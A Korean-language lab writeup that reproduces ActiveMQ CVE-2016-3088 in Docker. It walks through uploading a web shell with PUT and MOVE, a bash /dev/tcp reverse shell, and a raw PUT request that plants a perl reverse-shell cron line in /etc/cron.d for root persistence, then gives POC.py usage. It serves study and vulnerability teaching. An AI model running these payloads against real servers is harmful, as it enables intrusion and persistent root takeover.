Skip to content

Latest commit

ย 

History

History
140 lines (92 loc) ยท 6.28 KB

File metadata and controls

140 lines (92 loc) ยท 6.28 KB

ActiveMQ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ ์ทจ์•ฝ์  (CVE-2016-3088)

Contributors

ํ™˜๊ฒฝ ์„ค์ •

๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ์ทจ์•ฝํ•œ ํ™˜๊ฒฝ์„ ๊ตฌ์ถ•ํ•œ๋‹ค.

docker compose up -d

POC.py ์‹คํ–‰ ์ „ ์˜์กด์„ฑ์„ ์„ค์น˜ํ•œ๋‹ค.

pip install requests

ํ•ด๋‹น ํ™˜๊ฒฝ์€ ํฌํŠธ 61616๊ณผ ํฌํŠธ 8161์„ ์ˆ˜์‹ ํ•œ๋‹ค. 8161ํฌํŠธ๋Š” ์›น ์ฝ˜์†” ํฌํŠธ์ด๋‹ค. 8161ํฌํŠธ๋ฅผ ํ†ตํ•ด ์›น ์‚ฌ์ดํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ์›น ์ฝ˜์†”์—์„œ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

ํ™˜๊ฒฝ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰๋˜๋Š”์ง€ ๋ณด๊ธฐ์œ„ํ•ด http://your-ip:8161/์— ๋ฐฉ๋ฌธํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. img

๋ฐฐ๊ฒฝ ์„ค๋ช…

ActiveMQ๋ž€ Apache Software Foundation์—์„œ ๊ฐœ๋ฐœ๋œ ์˜คํ”ˆ ์†Œ์Šค ๋ฉ”์‹œ์ง€ ๋ธŒ๋กœ์ปค(Message Broker)๋กœ ๋ฉ”์‹œ์ง• ์‹œ์Šคํ…œ์—์„œ ๋ฉ”์‹œ์ง€๋ฅผ ์ค‘๊ฐœํ•˜๊ณ  ์ „๋‹ฌํ•˜๋Š” ์—ญํ• ์„ ํ•œ๋‹ค. Java๋กœ ์ž‘์„ฑ๋˜์—ˆ์œผ๋ฉฐ, Java Message Service (JMS)๋ฅผ ์ง€์›ํ•˜์—ฌ ๋‹ค์–‘ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์— ๋น„๋™๊ธฐ์ ์ธ ํ†ต์‹ ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค. ํ(Queue)์™€ ํ† ํ”ฝ(Topic)์ด๋ผ๋Š” ๋‘ ๊ฐ€์ง€ ๋ฉ”์‹œ์ง€ ์ „๋‹ฌ ๋ฐฉ์‹์„ ์ง€์›ํ•˜๋ฉฐ, ํ(Queue) ๋ฐฉ์‹์€ ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹  ๋Œ€๊ธฐ ์ค‘์ธ ํด๋ผ์ด์–ธํŠธ ์ค‘ ํ•˜๋‚˜์—๊ฒŒ ์ „๋‹ฌํ•˜๊ณ , ํ† ํ”ฝ(Topic) ๋ฐฉ์‹์€ ๋ฉ”์‹œ์ง€๋ฅผ ์—ฌ๋Ÿฌ ๊ตฌ๋…์ž์—๊ฒŒ ์ „๋‹ฌํ•˜๋Š” ๋ฐฉ์‹์ด๋‹ค.

ActiveMQ ์›น ์ฝ˜์†”์€ admin, api๋ฐ fileserver์˜ ์„ธ ๊ฐ€์ง€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๊ตฌ๋ถ„๋œ๋‹ค. ์—ฌ๊ธฐ์„œ admin์€ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€, api๋Š” ์ธํ„ฐํŽ˜์ด์Šค, fileserver๋Š” ํŒŒ์ผ ์ €์žฅ์„ ์œ„ํ•œ ์ธํ„ฐํŽ˜์ด์Šค์ด๋‹ค. Admin๋ฐ api๋Š” ์‚ฌ์šฉํ•˜๊ธฐ ์ „์— ๋กœ๊ทธ์ธ์„ ํ•ด์•ผํ•˜์ง€๋งŒ, fileserver๋Š” ๋กœ๊ทธ์ธ์„ ์•ˆํ•ด๋„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. Fileserver๋Š” RESTful API์ธํ„ฐํŽ˜์ด์Šค์ด๋‹ค. GET, PUT, DELETE ๋“ฑ์˜ HTTP ์š”์ฒญ์„ ํ†ตํ•ด ์ €์žฅ๋œ ํŒŒ์ผ์„ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๋‹ค.

์ทจ์•ฝ์  ์ •๋ณด

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ fileserver์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋‚˜ํƒ€๋‚œ๋‹ค. Fileserver๋Š” ์ž„์˜์˜ ํŒŒ์ผ ์“ฐ๊ธฐ์™€ ํŒŒ์ผ ์ด๋™์„ ์ง€์›ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์•…์„ฑ ํŒŒ์ผ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์œ„์น˜์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ์›น ์‰˜์„ ์‚ฝ์ž…ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” admin, api ๋ชจ๋‘ ๋กœ๊ทธ์ธ์„ ํ•ด์•ผ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. Cron๊ณผ ssh key๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์ง์ ‘์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ฃจํŠธ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋‹ค๋Š” ๋‹จ์ ์ด ์กด์žฌํ•œ๋‹ค.

์ทจ์•ฝ์  ๋ถ„์„

img ActiveMQ์˜ FileServer ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž๋Š” HTTP PUT ๋ฐฉ์‹์„ ํ†ตํ•ด ์ง€์ •๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค. PUT์˜ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ฒ˜๋ฆฌ๋ฅผ ์œ„ํ•œ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด localfile์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

img ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ๋•Œ ๋Œ€์ƒ ๊ฒฝ๋กœ์— ์–ด๋– ํ•œ ์ œํ•œ์ด๋‚˜ ํ•„ํ„ฐ๋ง์ด ์ ์šฉ๋˜์ง€ ์•Š์•˜๋‹ค.

img MOVE ์š”์ฒญ์˜ ์ฝ”๋“œ์—์„œ๋„ localfileํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. move ์š”์ฒญ ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋ฉด destination์ด๋ผ๋Š” ํ—ค๋”๋ฅผ ์ž…๋ ฅ๋ฐ›๊ณ  destination๊ฒฝ๋กœ๋กœ ํŒŒ์ผ์„ ์ด๋™ํ•œ๋‹ค.

์›น ์‰˜ ์ž‘์„ฑ

์›น ์‰˜์€ admin๋˜๋Š” api app์—์„œ ์ž‘์„ฑํ•ด์•ผํ•˜๋ฉฐ, ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ชจ๋‘ ๋กœ๊ทธ์ธ์„ ํ•ด์•ผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ธฐ๋ณธ ActiveMQ๊ณ„์ •๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” admin์ด๋‹ค. ๋จผ์ € http://your-ip:8161/admin/test/systemProperties.jsp ์— ๋ฐฉ๋ฌธํ•˜์—ฌ ActiveMQ์˜ ์ ˆ๋Œ€๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•œ๋‹ค.

img ActiveMQ.home์ด /opt/activemq์— ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ fileserver์— ์ž„์˜์˜ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•œ๋‹ค. img img fileserver/1.txt์— ์ ‘์†์„ ํ•˜์—ฌ ์—…๋กœ๋“œํ•œ ํŒŒ์ผ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 204 ์‘๋‹ต ์ฝ”๋“œ๊ฐ€ ๋œจ๋ฉด ์„ฑ๊ณตํ•œ ๊ฒƒ์ด๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ์›ํ•˜๋Š” ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•˜์œผ๋‹ˆ ์›น ์‰˜์„ ์—…๋กœ๋“œํ•œ๋‹ค. img img fileserver/1.txt์— ์ ‘์†ํ•˜์—ฌ ์›น ์‰˜์ด ์ž˜ ์—…๋กœ๋“œ ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

img ๊ทธ ํ›„ move๋กœ /opt/activemq/webapps/api/webshell.jsp๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ ์ด๋™์„ ํ•œ๋‹ค.

img ์—…๋กœ๋“œ ํ•œ ํ›„ /api/webshell.jsp์— ์ ‘๊ทผํ•˜์—ฌ ๋กœ๊ทธ์ธ์„ ์ง„ํ–‰ํ•œ๋‹ค.

img ๋กœ๊ทธ์ธ์„ ํ•˜๋ฉด ์›น ์‰˜์ด ๋„์›Œ์กŒ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

img ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์—์„œ ๋ฆฌ์Šค๋‹ ํฌํŠธ๋ฅผ ์—ฐ๋‹ค.

img ๊ทธ ํ›„ ์›น์‰˜์—์„œ ์•„๋ž˜ ๋ช…๋ น์„ ์ž…๋ ฅํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์ž‘๋™์‹œํ‚จ๋‹ค.

sh -i >& /dev/tcp/your-ip/9999 0>&1

๋ฆฌ๋ฒ„์Šค ์‰˜์ด ์—ฐ๊ฒฐ๋œ ํ›„ id๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ root๊ถŒํ•œ์„ ํ™•์ธํ•˜์˜€๋‹ค.

Crontab ์ž‘์„ฑ, ๋ฆฌ๋ฒ„์Šค ์‰˜ ์ž๋™ํ™”

cron์„ ์ด์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์ž๋™์œผ๋กœ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜์˜€๋‹ค. /etc/cron.d/ ๋””๋ ‰ํ† ๋ฆฌ์— ํŒŒ์ผ์„ ์„ค์ •ํ•˜๋ฉด ์ž๋™์œผ๋กœ ํ•ด๋‹น ์ž‘์—…์„ ์‹คํ–‰ํ•œ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค์‰˜ ์ฝ”๋“œ๋ฅผ /etc/cron.d/ ๋””๋ ‰ํ† ๋ฆฌ์— ํŒŒ์ผ ์—…๋กœ๋“œํ•˜์—ฌ ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๊ฒƒ์€ root๊ถŒํ•œ์œผ๋กœ ActiveMQ ์„œ๋ฒ„๋ฅผ ์—ด์—ˆ์„ ๋•Œ๋งŒ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

img img perl ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ๋งค๋ถ„๋งˆ๋‹ค ์‹คํ–‰ํ•˜๋„๋ก ํ•˜์˜€๋‹ค.

PUT /fileserver/1.txt HTTP/1.1
Host: your-ip:8161
Content-Length: 251

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="your-ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

cron ์„ค์ •ํŒŒ์ผ์„ ์—…๋กœ๋“œ ํ•œ ํ›„ move๋ฅผ ์ด์šฉํ•˜์—ฌ /etc/cron.d/ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํ•ด๋‹น ์„ค์ • ํŒŒ์ผ์„ ์ด๋™ํ•œ๋‹ค.

img destination ํ—ค๋”์— ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ /etc/cron.d/rootํŒŒ์ผ์˜ ์ด๋ฆ„์œผ๋กœ ์„ค์ • ํŒŒ์ผ์„ ์ด๋™ํ•˜์˜€๋‹ค.

img ๊ณต๊ฒฉ์ž ํ™˜๊ฒฝ์—์„œ ๋ฆฌ์Šค๋‹ ํฌํŠธ๋ฅผ ์—ด๊ณ  ๊ธฐ๋‹ค๋ฆฌ๋ฉด ๋ฆฌ๋ฒ„์Šค ์‰˜์ด ์ž‘๋™ํ•˜์—ฌ ActiveMQ ์„œ๋ฒ„์˜ root ๊ถŒํ•œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

img ActiveMQ ์„œ๋ฒ„์˜ ๋กœ๊ทธ๋ฅผ ๋ณด๋ฉด ๋งค ๋ถ„๋งˆ๋‹ค ๋ฆฌ๋ฒ„์Šค ์‰˜ ์ฝ”๋“œ๊ฐ€ ์ž‘๋™๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

POC(Proof of Concept)

์‚ฌ์šฉ๋ฒ•

python3 POC.py -url ์ƒ๋Œ€๋ฐฉ ์ฃผ์†Œ -lhost ๋‚ด ip์ฃผ์†Œ -lport ๋ฆฌ์Šค๋‹ํ•  ํฌํŠธ

๋ช…๋ น์–ด ์‹คํ–‰ ์˜ˆ

python3 POC.py -url http://your-ip:8161 -lhost your-ip -lport 9999

๊ฒฐ๊ณผ

์œˆ๋„์šฐ(VScode)

img

๋ฆฌ๋ˆ…์Šค(ubuntu)

img